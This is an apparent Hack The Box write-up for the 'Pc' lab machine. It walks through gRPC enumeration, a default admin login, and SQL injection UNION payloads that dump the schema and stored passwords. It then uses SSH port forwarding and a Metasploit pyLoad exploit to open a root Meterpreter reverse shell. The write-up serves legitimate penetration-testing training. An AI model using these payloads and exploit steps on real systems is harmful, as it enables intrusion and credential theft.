Pc Writeup

11 November 2023 #CTF #HTB #box #easy #linux

pc info



$ sudo nmap -sC -sV -p- -T4
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown


After some research about port 50051, we learn this is the default ("recommended") port for gRPC services.

To interact with the service, we'll use grpc_cli. Installation and usage instructions are available here

Use the ls command to list available services:

$ ./grpc_cli ls

We can see that server reflection is enabled, which means we will be able to see what methods are available and what parameters they require.

Let's inspect this SimpleApp service:

$ ./grpc_cli ls SimpleApp -l
filename: app.proto
service SimpleApp {
  rpc LoginUser(LoginUserRequest) returns (LoginUserResponse) {}
  rpc RegisterUser(RegisterUserRequest) returns (RegisterUserResponse) {}
  rpc getInfo(getInfoRequest) returns (getInfoResponse) {}

Let's say we want to call the getInfo method. We can use the type command to get information about this getInfoRequest parameter we need to provide:

$ ./grpc_cli type getInfoRequest -l
message getInfoRequest {
  string id = 1;

OK, it takes an id parameter, which is a string. Let's try it:

$ ./grpc_cli call getInfo 'id: "1"'
connecting to
message: "Authorization Error.Missing \'token\' header"
Rpc succeeded with OK status


It seems like we need to be authenticated to use the getInfo method. It's fair to assume we'll get a token with the LoginUser method.

The classic admin:admin works and we get a valid token:

$ ./grpc_cli call LoginUser 'username: "admin", password: "admin"'
connecting to
message: "Your id is 751."
Received trailing metadata from server:
token : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE'
Rpc succeeded with OK status

Alternatively, we can register a new user with the RegisterUser method and then login.

We can now use the getInfo method:

$ ./grpc_cli call getInfo 'id: "751"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
message: "Will update soon."
Rpc succeeded with OK status

When using a SQLi payload in the id parameter, we get a different message:

$ ./grpc_cli call getInfo 'id: "42 OR 1=1-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
message: "The admin is working hard to fix the issues."
Rpc succeeded with OK status

This looks good for us. To confirm there is a SQLi, let's try a UNION payload:

$ ./grpc_cli call getInfo 'id: "0 UNION SELECT 42-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
message: "42"
Rpc succeeded with OK status

Great, now we want to determine what kind of DB is running in the backend. We learn this is a sqlite DB since sqlite_version() actually returns something instead of an error:

$ ./grpc_cli call getInfo 'id: "0 UNION SELECT sqlite_version()-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
message: "3.31.1"
Rpc succeeded with OK status

Let's dump the database schema, to know about table and column names:

$ ./grpc_cli call getInfo "id: '0 UNION SELECT group_concat(sql) FROM sqlite_master WHERE type=\"table\"-- -'" --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
message: "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n),CREATE TABLE messages(id INT UNIQUE, username TEXT UNIQUE,message TEXT)"
Rpc succeeded with OK status

The accounts table is the most interesting to us. Let's dump it:

$ ./grpc_cli call getInfo "id: '0 UNION SELECT group_concat(username || \":\" || password) FROM accounts-- -'" --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
message: "admin:admin,sau:HereIsYourPassWord1431"
Rpc succeeded with OK status

No surprise to see admin:admin in there since we logged in with these creds. We can login via SSH with the other username and password.

$ ssh sau@
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)


When checking listening ports, we see that ports 8000 and 9666 are up:

sau@pc:~$ ss -lnt
State    Recv-Q   Send-Q      Local Address:Port        Peer Address:Port
LISTEN   0        4096     *
LISTEN   0        128          *
LISTEN   0        5        *
LISTEN   0        128        *
LISTEN   0        128                  [::]:22                  [::]:*
LISTEN   0        4096                    *:50051                  *:*

There are 2 unusual processes that are running as root:

sau@pc:~$ ps -ef --forest
root   1043  1  0 10:07 ?   00:00:03 /usr/bin/python3 /opt/app/app.py
root   1049  1  0 10:07 ?   00:00:05 /usr/bin/python3 /usr/local/bin/pyload

/opt/app/app.py is the gRPC application. The second application is an open source software which listens by default on these 2 ports.

We can get the version with the pyload command:

sau@pc:~$ pyload --version
pyLoad 0.5.0

While looking for public exploits targeting this version, we come across this CVE which is an unauthenticated Python code injection. It involves interacting with the service on port 9666. We saw this port listening on all interfaces in the output of the ss command, but the port is most likely blocked by a firewall rule.

Since we have SSH access, we can forward a local port:

$ ssh sau@ -L 9666:

This will forward port 9666 on our machine to port 9666 on the remote box (via the loopback interface).

We can now run the metasploit module and get code execution as root:

$ msfconsole
msf6 > search pyload

Matching Modules

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/linux/http/pyload_js2py_exec  2023-01-13       excellent  Yes    pyLoad js2py Python Execu

Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/pyload_js2p

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS
msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST tun0
msf6 exploit(linux/http/pyload_js2py_exec) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24772 bytes) to
[*] Meterpreter session 1 opened ( -> at 2023-11-11 13:33:55 +0100

meterpreter > getuid
Server username: root

We specify as the remote host to send requests through the SSH tunnel.

Key Takeaways